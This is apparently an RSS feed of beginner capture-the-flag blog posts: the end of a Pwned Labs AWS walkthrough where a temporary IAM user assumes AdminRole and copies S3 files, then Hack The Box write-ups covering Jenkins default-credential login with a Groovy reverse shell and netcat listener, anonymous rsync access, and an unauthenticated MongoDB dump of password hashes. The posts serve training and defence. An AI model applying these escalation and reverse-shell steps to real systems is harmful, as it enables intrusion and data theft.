[temp-user] might be using some sort of tools or automation to run various enumeration and engaged with the account, my guess is [pacu] a tool used to enumerate and exploits cloud services, think of it like a [AWS Cloud Metasploit] if that make sense. Although it is very noisy,</p><p>There are multiple tools available for brute forcing AWS IAM permissions, Enumerating AWS. such as [aws-enumerator](<a href="https://github.com/shabarkin/aws-enumerator">https://github.com/shabarkin/aws-enumerator</a>) and [pacu](<a href="https://github.com/RhinoSecurityLabs/pacu">https://github.com/RhinoSecurityLabs/pacu</a>). and Just for a quick statistics, we found that there are 447 “not authorized” error messages generated from in the cloudtrial logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*1GN54HOMvt4zfSJwPx5AQw.png" /><figcaption>Trailing the Incident</figcaption></figure><p>BOOM!! we have a Critical Findings Here - These log in particular suggest the “temp-user” assumed the role “AdminRole”.. The “AssumeRole” command facilitates secure temporary access to AWS resources by enabling IAM users or services to assume roles with defined permissions. its simply trying to escalate prividlege to a higher user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*HAUB48JIzmUCjMhul5PQEw.png" /><figcaption>Trailing the Incident</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*il364nZEC5RfBajgHimFDQ.png" /><figcaption>Trailing the Incident — it appears that the attacker successfully assumed the role of “AdminRole”… After assuming the ‘AdminRole’, the user proceeded to access the S3 bucket ‘emergency-data-recovery’ and attempted to retrieve a file named ‘emergency.txt’ using the ‘GetObject’ operation. This action reflects an attempt to access sensitive information after elevating privileges to a higher user role.”</figcaption></figure><h3>Trail Analysis | Conclusions</h3><p>In summary, by the user ”/temp-user“ assuming the “AdminRole” and attempting to access the contents of the “emergency-data-recovery” S3 bucket, the attacker demonstrates an escalation of privileges from a normal IAMUSER [temp-user] to[AdminRole] which is associated with “root” and an intent to access and potentially exfiltrate critical data from the AWS environment.</p><p>Unfortunately it appears that the attacker accessed a sensitive file named “emergency recovery data” by performing the “GetObject” action on the S3 bucket.</p><p>Therefore, the breach primarily affects the confidentiality aspect of the CIA triad, as the unauthorized access to sensitive data undermines the security and privacy of the information stored in the file.</p><h3>Retracing The Steps as an Attacker</h3><p>Here is the fun part!! this process entails us mimicking the actions and strategies the user employ to infiltrate systems or compromise data.By assuming the role of an attacker, security professionals gain invaluable insights into potential vulnerabilities within their systems, allowing them to bolster defenses and fortify against future threats. now lets retrace the steps. Happy Hacking!</p><h3><strong>Enumeration:</strong></h3><p>As a Penetration Tester, or from an attacker mindset, our attack will start with a crucial methodology: By enumerating the target, reconnaissance and gathering as much information as possible about the target infrastructure, users, accounts and more.</p><p>Setting Up AWS</p><p>Next, we’ll configure our AWS environment with the necessary credentials, just as we’ve done previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*CNbYpjterShqmbNmsAuuow.png" /></figure><p>Enumerate for users, account, assume roles and gather as much information as possible. here are some commands we can try</p><pre>aws sts get-caller-identity<br>aws ec2 describe-regions<br>aws iam list-roles</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*f84dYOf7unJGPqGvg0yDXQ.png" /><figcaption>Information Gathering: — OOPS! We are not authorized to perform some of this commands or operations. this is because we are use a normal user , /temp-user and don&#39;t have the privileged or authorization to issues some commands</figcaption></figure><p>lets see if we can list the policies attached to the IAM user named “temp-user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Oo9pTRmDEbvXm1f42HJnww.png" /><figcaption>Information Gathering: — This reveals the policy named `test-temp-user` <br> Will have to look it up and learn more about the policy we have as the /tem-user</figcaption></figure><p><strong>Understanding AWS Policies:</strong> To understand AWS Policies better, can think of AWS IAM policies in a similar way to Active Directory policies used for managing permissions, groups, and enforcing various settings. this command is simply listing and trying to enumerate the account and find policies attached to the user account.</p><p>Enumerating and Checking out the policies for the /temp-user. we can use this command to view a user policy</p><pre>aws iam get-user-policy --user-name temp-user --policy-name test-temp-user</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*qEe3v09Yq5L9P6r9RD9eIw.png" /><figcaption>Boom! this is a major findings as this reveal that the user can assume the role “AdminRole” my guess is the AdminRole is a higher authorized role and could give us more privileged and authorization</figcaption></figure><h3><strong>Initial Foothold | Lateral Movement</strong></h3><p>As a penetration tester adopting an attacker’s mindset, our next move is to pivot to the AdminRole, that is , a higher level of authorization that could grant us expanded privileges and access.</p><p>To Assume the Role enter this command.</p><pre> aws sts assume-role --role-arn arn:aws:iam::107513503799:role/AdminRole --role-session-name MySession</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*utjXH_yv0f7D9UYgYw6w2g.png" /><figcaption>“ — role-session-name MySession ” This flag specifies a name for the role session. The role session name is used to identify the session when you assume the role. It’s important to provide a unique name for each session to help with auditing and tracking. In this case, we are giving the session the name MySession.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*m5zNoR59sOHnd8EvafITfg.png" /><figcaption>A GOOD VIEW OF THE AdminRole Credentials. AccessKeyID, SecretAcessKey, and more .. The Sessiontoken will be useful too when configuring our AWS with the AssumedRole credentials</figcaption></figure><p>Configuring and setting up AssumeRole with the credentials found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*VKQyErUMwx3kihHcbh6FrQ.png" /><figcaption>By now you should have know these steps , enter the AdminRole credentials we found , has highlighted</figcaption></figure><p>run the command to confirm our configuration</p><pre>aws sts get-caller-identity</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*23-id7AaGKjuplo0wTINDw.png" /><figcaption>We are now the user “AdminRole”. Laterally we just moved from /temp-user to AdminRole</figcaption></figure><p><strong>With elevated privileges granted through the AdminRole, our focus shifts to system exploration. As penetration testers, our goal will be to navigate through directories, inspect files, and get our hands on sensitive information</strong></p><ul><li>Listing the s3 Bucket file , Essentially listing the contents of the “emergency-data-recovery” directory within the specified S3 buckets .</li></ul><pre>aws s3 ls s3://emergency-data-recovery  <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*hkNrTeOduFssVg6Ke6080g.png" /><figcaption><strong>UNDERSTANDING AWS S3 BUCKET:</strong><br> You can simply think of AWS S3 bucket as similar to FTP, i visualized it like [AWS Cloud FTP] a storage system, that contains files .<br>We found some files! in the s3 bucket inside the “emergency-data-recovery directory”</figcaption></figure><p>Copying the files from s3 bucket to our local Directory with this commands:</p><pre>aws s3 cp s3://emergency-data-recovery/emergency.txt . <br>aws s3 cp s3://emergency-data-recovery/message.txt . </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*uTxCb9Z-FAPH_t3eCIaVxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*O4FxK60lTIxB_rGeY5EGMQ.png" /><figcaption>Data Breached!! Boom! we just got our hands on a very sensitive information.. Game Over!!!and we got the Flag!</figcaption></figure><p><strong>Defense Practices and Mitigation to Prevent this Attacks:</strong></p><p>The best defense and mitigation strategies to prevent such attacks in the cloud include:</p><p><strong>Implement Least Privilege: </strong>Assign permissions based on the principle of least privilege to restrict access to only what is necessary for each user or role.</p><p><strong>Regular Auditing and Monitoring: </strong>Continuously monitor AWS CloudTrail logs and S3 access logs for unusual activity, unauthorized access attempts, or policy changes.</p><p><strong>Strong IAM Policies: </strong>Craft IAM policies carefully, avoiding overly permissive policies, and regularly review and update them as necessary. Multi-Factor Authentication (MFA)</p><p><strong>Automated Remediation:</strong> Implement automated remediation actions to respond to security incidents swiftly, such as disabling compromised accounts or rolling back unauthorized changes.</p><p>By following these practices, organizations can significantly reduce the risk of unauthorized access and data breaches in the cloud!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*1Wr9UFGAeSe0qGCSbEMcAA.png" /><figcaption>WELCOME TO PWNEDLABS AND HOPE YOU ENJOY THIS WALKTHROUGH</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*LwjQSYaJzOXvyu9aXd1ifw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=588061ca984a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Starting Point {pennyworth} Walkthrough]]></title>
            <link>https://medium.com/@kusuanlele8/hack-the-box-starting-point-pennyworth-walkthrough-fa323e4ebdc2?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa323e4ebdc2</guid>
            <category><![CDATA[starting-point]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Sat, 10 Feb 2024 02:28:10 GMT</pubDate>
            <atom:updated>2024-02-10T02:28:10.059Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*p90epEzk0Y4kOvTRUKYnCQ.png" /></figure><h3><a href="https://medium.com/@kusuanlele8/hack-the-box-starting-point-mongod-walkthrough-fee997accbb6?source=author_recirc-----0a9b22ead6bc----0---------------------b646adeb_bc2a_40e7_a07b_53d0f6931843-------">Hack The Box — Starting Point {pennyworth} Walkthrough</a></h3><p>Nmap Scan</p><p>first we add the machine ip address to our /etc/hosts and redirect to pennyworth.htb.. This command employs the -sCv flag to enable scanning service version and nmap scrip scan -p- scan all ports, -oN the results will be saved to a file named nmap_scan for later reference. By using the -Pn option, nmap skips the ICMP ping probes and assumes that the target hosts are online, and -min-rate 10000 instructs Nmap to send at least 10,000 packets per second during the scan. This can be particularly useful when you need to complete the scan quickly or when scanning high-speed networks.</p><pre>nmap -sCV -p- -Pn pennyworth.htb -oN nmap_scan -min-rate 10000 <br>PORT     STATE SERVICE VERSION<br>8080/tcp open  http    Jetty 9.4.39.v20210325<br>|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1<br>|_http-title: Site doesn&#39;t have a title (text/html;charset=utf-8).<br>|_http-server-header: Jetty(9.4.39.v20210325)<br>| http-robots.txt: 1 disallowed entry <br>|_/<br></pre><p>Here we can see we only have port 8080 open. the scan results states target is running Jetty, which is a java web server and we got the version. first lets create a TODO List :</p><pre>TODO List and things to check and look at for : <br><br>- directory discoveries/bursting with ffuf or gobuster<br>- check robots.txt<br>- curl -I curl -s<br>- check source codes <br>- navigate web page <br>- reseach and learn about  jetty<br>- searchsploits to research any open source software discovered </pre><p>Enumeration:</p><p>Next we will try use ffuf to fuzz and discovered any hidden directories or files</p><pre>└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://pennyworth.htb:8080/FUZZ -fc 403<br><br>        /&#39;___\  /&#39;___\           /&#39;___\       <br>       /\ \__/ /\ \__/  __  __  /\ \__/       <br>       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      <br>        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      <br>         \ \_\   \ \_\  \ \____/  \ \_\       <br>          \/_/    \/_/   \/___/    \/_/ <br> :: Filter           : Response status: 403<br>________________________________________________<br><br>login                   [Status: 200, Size: 2028, Words: 199, Lines: 11, Duration: 38ms]<br>assets                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 17ms]<br>logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 22ms]<br>git                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 20ms]<br>oops                    [Status: 200, Size: 6503, Words: 231, Lines: 7, Duration: 137ms]<br>cli                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 108ms]<br>:: Progress: [220560/220560] :: Job [1/1] :: 1388 req/sec :: Duration: [0:02:39] :: Errors: 0 ::<br><br># Note: we use `-fc 403`switch to filter status code from result or response </pre><p>lets visit the web pages and also navigate to the directories our ffuf discovered</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*QyViNy5FVOOz798LUITCXw.png" /></figure><p>navigate to the /git and discovered and confirm host is running jetty which is a java web server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*qbz-Um8LIXdQWPbBQk0mnA.png" /></figure><p>Also discovered jenkins server version. just for a quick information on jenkins, Jenkins is an open source continuous integration (CI) server. It manages and controls several stages of the software delivery process, including build, documentation, automated testing, packaging, and static code analysis. We visit the /oops and it reveals jenkins version which is a huge information discovery we will take note of.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*Q6WSJTMQinHihi4iv22NKA.png" /></figure><p>Jenkins has a list of defaults passwords and after trying so many and doing a depth research we finally log in with one of his default credentials …</p><p>list of some jenkins crendentials and thre root:password worked !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*Zx_15eVeAd2W5_wMjh4ndw.png" /></figure><p>Boom! we are in and had a successful login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*dSvOSbbY55jiDgZkwGDjZw.png" /></figure><p>Researching | Initial Foothold:</p><p>While in, we are have now log in as an authenticated user, some best practices and methodology is to check source code for any useful information, check robots.txt which we have done and nothing interesting found there, next navigating to page and trying to learn about its functions and finding an entry point for remote code execution and to catch a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*8XbaSKUuWv9uO2Bf_VspSA.png" /></figure><p>stumbled across another good source on github with a clean jenkins reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k5okxYvXowETgOMaMNNrQQ.png" /></figure><p>Jenkins RCE with Groovy Script — [Jenkins Reverse Shell](<a href="https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script#script">https://cloud.hacktricks.xyz/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script#script</a>) , i opt to go for a good reverse shell found on github — [git hub reverseshell](<a href="https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76/revisions">https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76/revisions</a>) <br>Note: For this to work we will have to navigate to the /script path ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*7GT9GphUsODXAdAVFqjflg.png" /></figure><p>Next step is to paste our reverse shell on the script console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*IQyXTdmz7lHCTGhkBAcN2w.png" /></figure><p>PLEASE NOTE: As you can see we made some changes to the reverse shell code. changing the “local host” to our &lt;ip address&gt; and &lt;port to 444&gt;and also change “cmd.exe” to “/bin/bash”; since we are trying to catch a reverse shell on our Linux.. before we click the “run” at the bottom of the scripts, we will set a net cat listener on our Linux machine, and after we can run the scripts</p><pre>nc -lvnp 4444<br><br>#setting a nectcat listener to catch a shell <br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*GnobmMND6qCkj53UjpK6Qg.png" /></figure><p>Upgrading our shell to a stable shell with python -c ‘import pty; pty.spawn(“/bin/bash”)’ AND also get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*dtbb4PKu5UvfdI-b4Zbj1g.png" /></figure><p>A great resources and blog to dive more on Jenkins and learn how to exploit it , <a href="https://medium.com/@adamyordan/a-case-study-on-jenkins-rce-c2558654f2ce">https://medium.com/@adamyordan/a-case-study-on-jenkins-rce-c2558654f2ce</a>)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa323e4ebdc2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Starting Point {Synced} Walkthrough]]></title>
            <link>https://medium.com/@kusuanlele8/hack-the-box-starting-point-synced-walkthrough-0a9b22ead6bc?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a9b22ead6bc</guid>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Sat, 27 Jan 2024 01:54:47 GMT</pubDate>
            <atom:updated>2024-01-27T01:54:47.084Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*mpw9A9CF1cEmtWM5Mo2kDg.png" /></figure><p>Hack The Box — Starting Point {Synced} Walkthrough</p><p><strong>Nmap Scan:</strong></p><p>This command employs the -A flag to enable aggressive scanning, providing us with a thorough analysis of the target. -p- scan all ports, -oN the results will be saved to a file named nmap_scan for later reference. By using the -Pn option, nmap skips the ICMP ping probes and assumes that the target hosts are online,</p><pre>nmap -A -p- -Pn synced.htb -oN nmap_scan<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-26 23:28 GMT<br>Nmap scan report for synced.htb (10.129.228.37)<br>Host is up (0.046s latency).<br>Not shown: 65534 closed tcp ports (conn-refused)<br>PORT    STATE SERVICE VERSION<br>PORT    STATE SERVICE VERSION<br>873/tcp open  rsync   (protocol version 31)</pre><p><strong>Enumeration:</strong></p><p>we discovered the <strong>rsync </strong>services running on port [873]. rsync is a powerful and versatile tool for file transfer synchronization and backup operations, between computers and external hard drives ans commonly used in both personal and enterprise environments. Its simplicity and efficiency make it a preferred choice for many system administrators and users. go to [HatTricks] (<a href="https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync">https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync</a>) , to learn more about rsync</p><p>First we enumerate and interact with rsync service by performing a banner grab with netcat by running nc -nv &lt;ip&gt; &lt;port&gt;</p><pre>nc -nv 10.129.228.37 873<br><br>(UNKNOWN) [10.129.228.37] 873 (rsync) open<br><br>@RSYNCD: 31.0</pre><p>But in here we found nothing interesting, we will try interacting more with the service, we will use the <strong>rsync</strong> command to enumerate more. we will run rsync -av rsync://anonymous@10.129.228.37/ . we leverage the anonymous username to explore the rsync server.</p><pre>rsync -av rsync://anonymous@10.129.228.37/ .<br><br>public          Anonymous Share</pre><p>Now we successfully used rsync to connect to the rsync server, `-av` options to synchronize files from the rsync server to our local machine to current working directory. The rsync server responded with two directories: public and Anonymous Share.</p><p>Next we will used rsync again to sync the contents of the “[Public]” directory from the rsync server to a local directory we will name rsync_shared . This specifies the destination directory on our local machine where it will be copied to. we will run the command rsync -av rsync://anonymous@10.129.228.37/public ./rsync_shared ,to perform this task.</p><pre>- [~/htb/ctf/synced]<br>└─$  rsync -av rsync://anonymous@10.129.228.37/public ./rsync_shared<br><br>receiving incremental file list<br>created directory ./rsync_shared<br>./<br>flag.txt</pre><p>We can see the flag.txt file on the Public Directory After executing the command. rsync initiates the synchronization process. It retrieves the contents of the “public” directory from the remote server and transfers them to our local “rsync_shared” directory.</p><p><strong>Captured The Flag:</strong></p><p>Once the synchronization is complete, you’ll find the “flag.txt” file within the “rsync_shared” directory. This file contains the sought-after flag. To access it, simply navigate to the “rsync_shared” directory using the `cd` command and retrieve the flag.</p><p><strong>Knowledge Gained:</strong></p><p>By leveraging the power of rsync, we seamlessly transfer files between remote and local systems, making it a valuable tool for data synchronization and backup tasks. I hope you’ve enjoyed this journey from the Starting Point machine!</p><p><strong>Extra:</strong></p><p>While this machine may be categorized as easy or Tier 0, it offers an invaluable opportunity to build a robust foundation of knowledge. It should not be underestimated. Delving into the services and ports encountered, and conducting thorough research, can greatly enhance your understanding and set you on a path towards mastery. Remember, investing time to explore and learn more about these aspects can propel you ahead and establish a solid foundation for future boxes”</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a9b22ead6bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Starting Point {Mongod} Walkthrough]]></title>
            <link>https://medium.com/@kusuanlele8/hack-the-box-starting-point-mongod-walkthrough-fee997accbb6?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/fee997accbb6</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Wed, 24 Jan 2024 14:36:35 GMT</pubDate>
            <atom:updated>2024-01-24T14:36:35.749Z</atom:updated>
            <content:encoded><![CDATA[<p>Hack The Box — Starting Point {Mongod} Walkthrough</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*EUy2qAXrqcnBxUXPRFTxZQ.png" /></figure><h4>INTRODUCTION:</h4><p>Hack The Box’s Starting Point Tier 0 — Mongod. Meet MongoDB, a cool database that’s all about flexibility and growth and MongoDB is a NoSQL database. It falls under the category of document-oriented databases. It’s not just about asking questions; it’s like a digital puzzle where you can be super creative. Ready to try it out and see what you can do?</p><h4>Nmap</h4><p>This command employs the -A flag to enable aggressive scanning, providing us with a thorough analysis of the target. -oN The results will be saved to a file named nmap_scan for later reference.</p><pre>nmap -A 10.129.226.83 -oN nmap_scan<br><br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 07:42 GMT<br>Nmap scan report for 10.129.228.30<br>Host is up (0.020s latency).<br>Not shown: 999 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)<br>|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)<br>|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds<br><br><br>27017/tcp open  mongodb MongoDB 3.6.8 3.6.8<br>| mongodb-databases: <br>|   totalSize = 245760.0<br>|   databases</pre><h4>Enumeration:</h4><p>We’ve spotted an open door at port 22 ssh , and port 27017, where MongoDB is hanging out. Time to take a closer look and see what secrets it holds. Let’s start our exploration there.</p><p><strong>Interacting</strong> Now, diving into MongoDB, we’ll leverage the mongo command to engage with the MongoDB databases.</p><pre># interact with mongodb database<br>└─$ mongo 10.129.226.83  <br><br>MongoDB shell version v6.1.1<br>connecting to: mongodb://10.129.226.83:27017/test?compressors=disabled&amp;gssapiServiceName=mongodb<br>Implicit session: session { &quot;id&quot; : UUID(&quot;2a506280-bcde-49c0-adf1-ef86aae26bdf&quot;) }<br>MongoDB server version: 3.6.8<br>WARNING: shell and server versions do not match<br>================<br>Warning: the &quot;mongo&quot; shell has been superseded by &quot;mongosh&quot;,<br>which delivers improved usability and compatibility.The &quot;mongo&quot; shell has been deprecated and will be removed in<br>an upcoming release.<br>For installation instructions, see<br>https://docs.mongodb.com/mongodb-shell/install/<br>================<br>---<br>The server generated these startup warnings when booting: <br>2024-01-24T12:38:09.686+0000 I STORAGE  [initandlisten] <br>2024-01-24T12:38:09.686+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine<br><br>---<br>#use the show dbs command to query the database and list out <br>&gt; show dbs<br>admin                  0.000GB<br>config                 0.000GB<br>local                  0.000GB<br>sensitive_information  0.000GB<br>users0.000GB<br># lets check what in the users with the `use users` command<br>&gt; use users<br>switched to db users<br># after we switched to users, thenwe use the `show collections` to list out what in the users <br>&gt; show collections<br>ecommerceWebapp<br># now with db.find() we cat out or view the collection. like this, db.ecommercewebapp.find()<br>&gt; db.ecommerceWebapp.find()<br>{ &quot;_id&quot; : ObjectId(&quot;630e4432b82540ebbd1748c6&quot;), &quot;id&quot; : 1, &quot;username&quot; : &quot;Ryley&quot;, &quot;email&quot; : &quot;vheathcote@example.net&quot;, &quot;createdAt&quot; : &quot;2019-07-17&quot;, &quot;password&quot; : &quot;fff4b345de2aee9f1fa5e2a44b3b03378b189d1e&quot; }<br>{ &quot;_id&quot; : ObjectId(&quot;630e4454b82540ebbd1748c7&quot;), &quot;id&quot; : 2, &quot;username&quot; : &quot;Bertha&quot;, &quot;email&quot; : &quot;astreich@example.net&quot;, &quot;createdAt&quot; : &quot;1976-02-18&quot;, &quot;password&quot; : &quot;085ed623db4b520f59ab1b6b6d222eea94ceb4cb&quot; }<br>{ &quot;_id&quot; : ObjectId(&quot;630e445cb82540ebbd1748c8&quot;), &quot;id&quot; : 3, &quot;username&quot; : &quot;Maximillian&quot;, &quot;email&quot; : &quot;trent.carroll@example.org&quot;, &quot;createdAt&quot; : &quot;2005-08-26&quot;, &quot;password&quot; : &quot;3859489a17b1cf46251aca8984af8da43356e496&quot; }<br>{ &quot;_id&quot; : ObjectId(&quot;630e446cb82540ebbd1748c9&quot;), &quot;id&quot; : 4, &quot;username&quot; : &quot;Giuseppe&quot;, &quot;email&quot; : &quot;bernadine81@example.com&quot;, &quot;createdAt&quot; : &quot;2009-03-31&quot;, &quot;password&quot; : &quot;cb4a1ed66f998facd1a39b32f0f1ee698ee7e166&quot; }<br>{ &quot;_id&quot; : ObjectId(&quot;630e4475b82540ebbd1748ca&quot;), &quot;id&quot; : 5, &quot;username&quot; : &quot;Darrell&quot;, &quot;email&quot; : &quot;pblanda@example.org&quot;, &quot;createdAt&quot; : &quot;1986-04-10&quot;, &quot;password&quot; : &quot;6fd69f347d34d5dacd62f45851c4052a69ef8a94&quot; }<br><br>{ &quot;_id&quot; : ObjectId(&quot;630f4df1683a81f8b58a73de&quot;), &quot;id&quot; : 20, &quot;username&quot; : &quot;qrowe&quot;, &quot;email&quot; : &quot;wiegand.elvis@example.net&quot;, &quot;createdAt&quot; : &quot;2019-01-09&quot;, &quot;password&quot; : &quot;e7a85a658512704a83b72172e9928ad0&quot; }<br>Type &quot;it&quot; for more</pre><p>Here, we’ve stumbled upon user credentials, including usernames and password hashes in the database. The tantalizing question arises: could these credentials potentially grant us SSH access, especially considering our earlier discovery of an open port 22? But hold on, dear reader! Before we leap into action, let’s pause and perform further enumeration. Our next step involves querying another database, exploring its entries to unveil any additional intriguing secrets.</p><pre><br>&gt; show dbs<br>admin                  0.000GB<br>config                 0.000GB<br>local                  0.000GB<br>sensitive_information  0.000GB<br>users                  0.000GB<br>&gt; use sensitive_information<br>switched to db sensitive_information<br><br>&gt; show collections<br># looks like we just found our flag<br>flag<br># note the db.flag.find().pretty() ,it Show formatted results for &quot;flag&quot; collection:*<br>&gt; db.flag.find().pretty()<br>{<br>        &quot;_id&quot; : ObjectId(&quot;630e3dbcb82540ebbd1748c5&quot;),<br>        &quot;flag&quot; : &quot;1b6e6fb359e7c40241b6d431427ba6ea&quot;<br>}</pre><h4>Final Takeaway:</h4><p>Through the journey with this box, a valuable lesson was learned — the power of researching. Platforms like @hacktricks.xyz emerged as offering profound insights into various services. The art of interaction, querying, and performing in-depth enumeration became a skill gained through exploration and learning from diverse platforms. In essence, the simple yet effective approach involved Googling things and delving deeper into the details of ports and services unveiled during our Nmap scans. Remember, in the world of cybersecurity, knowledge is the key that unlocks endless possibilities.</p><p><strong>Bonus:</strong> <strong>MongoDB Interaction Commands:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*eTOdcCrmlyBOunKlWpH9Fg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*zbYQeTfo0uy_vAjGBJQ1lA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fee997accbb6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKTHEBOX Preignition WALKTHROUGH]]></title>
            <link>https://medium.com/@kusuanlele8/hackthebox-preignition-walkthrough-5d81bd2154ac?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d81bd2154ac</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[starting-point]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Sat, 20 Jan 2024 13:02:51 GMT</pubDate>
            <atom:updated>2024-01-20T13:02:51.448Z</atom:updated>
            <content:encoded><![CDATA[<p>For my initial adventure on a Hack The Box starting point machine, I’ve decided to share my journey and insights, hoping it becomes a helpful guide for fellow beginners like myself. The first step is to initiate a comprehensive Nmap scan using the command: `nmap -sCV -p- &lt;ip&gt;`. Once the scan is complete, we’ll carefully analyze the open ports, taking note of each as we proceed. Effective enumeration is crucial, and documenting our findings along the way ensures a solid foundation. Let’s dive in and make this hacking exploration not just educational for me but for others starting their cybersecurity journey too!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*TleJxqo9xDRMINCkbnS7xw.png" /></figure><p>- Enumeration<br>We’ve identified an open port 80 with an Nginx web server and version details revealed in the banner.<br>Upon reaching the server’s welcome page, the next step involves uncovering potential hidden directories and files. To achieve this, tools like Gobuster or FFUF prove invaluable for scanning the server’s backend. As part of good methodology, I’ve explored the source code and checked for files deliberately hidden from search engines, including the ‘robots.txt’ file. Unfortunately, these efforts didn’t yield any noteworthy results.</p><p>into the Gobuster results, an interesting directory has caught our attention. It’s worth noting that initially, Gobuster didn’t reveal much. However, with a strategic use of the ‘[-x]’ option, specifying extensions like ‘php’, ‘cgi’, and ‘txt’, we found 